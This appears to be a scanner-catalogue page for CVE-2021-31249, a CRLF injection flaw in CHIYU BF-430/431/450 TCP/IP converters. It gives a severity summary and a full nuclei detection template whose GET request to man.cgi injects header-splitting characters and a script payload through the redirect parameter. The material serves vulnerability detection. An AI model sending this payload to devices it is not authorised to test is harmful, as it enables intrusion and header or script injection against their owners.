CHIYU TCP/IP Converter - Carriage Return Line Feed Injection

mediumseverity

6.5CVSS score

18%likelihood of exploitation, next 30 days

97%of all CVEs are less likely

Readycheck to confirm it

CHIYU TCP/IP Converter BF-430, BF-431, and BF-450 are susceptible to carriage return line feed injection. The redirect= parameter, available on multiple CGI components, is not properly validated, thus enabling an attacker to obtain sensitive information, modify data, and/or execute unauthorized administrative operations in the context of the affected site.

Impact

Successful exploitation of this vulnerability can lead to remote code execution, unauthorized access, or data manipulation.

Fix

Apply the latest security patches or updates provided by the vendor to fix the vulnerability.

How to confirm it

Send: GET {{BaseURL}}/man.cgi?redirect=setting.htm%0d%0a%0d%0a<script>alert(document.domain)</script>&failure=fail.htm&type=dev_name_apply&http_block=0&TF_ip0=…
Positive when: contains in header "Location: setting.htm" and "<script>alert(document.domain)</script>" AND status 302

Run it with nuclei: nuclei -id CVE-2021-31249 -u <target>. This check is not marked as verified by its authors.

The full check

id: CVE-2021-31249

info:
  name: CHIYU TCP/IP Converter - Carriage Return Line Feed Injection
  author: geeknik
  severity: medium
  description: CHIYU TCP/IP Converter BF-430, BF-431, and BF-450 are susceptible to carriage return line feed injection. The redirect= parameter, available on multiple CGI components, is not properly validated, thus enabling an attacker to obtain sensitive information, modify data, and/or execute unauthorized administrative operations in the context of the affected site.
  impact: |
    Successful exploitation of this vulnerability can lead to remote code execution, unauthorized access, or data manipulation.
  remediation: |
    Apply the latest security patches or updates provided by the vendor to fix the vulnerability.
  reference:
    - https://gitbook.seguranca-informatica.pt/cve-and-exploits/cves/chiyu-iot-devices#cve-2021-31249
    - https://www.chiyu-tech.com/msg/message-Firmware-update-87.html
    - https://seguranca-informatica.pt/dancing-in-the-iot-chiyu-devices-vulnerable-to-remote-attacks/
    - https://nvd.nist.gov/vuln/detail/CVE-2021-31249
  classification:
    cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:L/I:L/A:N
    cvss-score: 6.5
    cve-id: CVE-2021-31249
    cwe-id: CWE-74
    epss-score: 0.18003
    epss-percentile: 0.97214
    cpe: cpe:2.3:o:chiyu-tech:bf-430_firmware:-:*:*:*:*:*:*:*
  metadata:
    max-request: 1
    vendor: chiyu-tech
    product: bf-430_firmware
  tags: cve2021,cve,chiyu,crlf,iot,chiyu-tech,vuln

http:
  - method: GET
    path:
      - "{{BaseURL}}/man.cgi?redirect=setting.htm%0d%0a%0d%0a<script>alert(document.domain)</script>&failure=fail.htm&type=dev_name_apply&http_block=0&TF_ip0=192&TF_ip1=168&TF_ip2=200&TF_ip3=200&TF_port=&TF_port=&B_mac_apply=APPLY"

    matchers-condition: and
    matchers:
      - type: word
        part: header
        words:
          - "Location: setting.htm"
          - "<script>alert(document.domain)</script>"
        condition: and

      - type: status
        status:
          - 302

References

Use this check only on systems you are authorised to test. Where the data comes from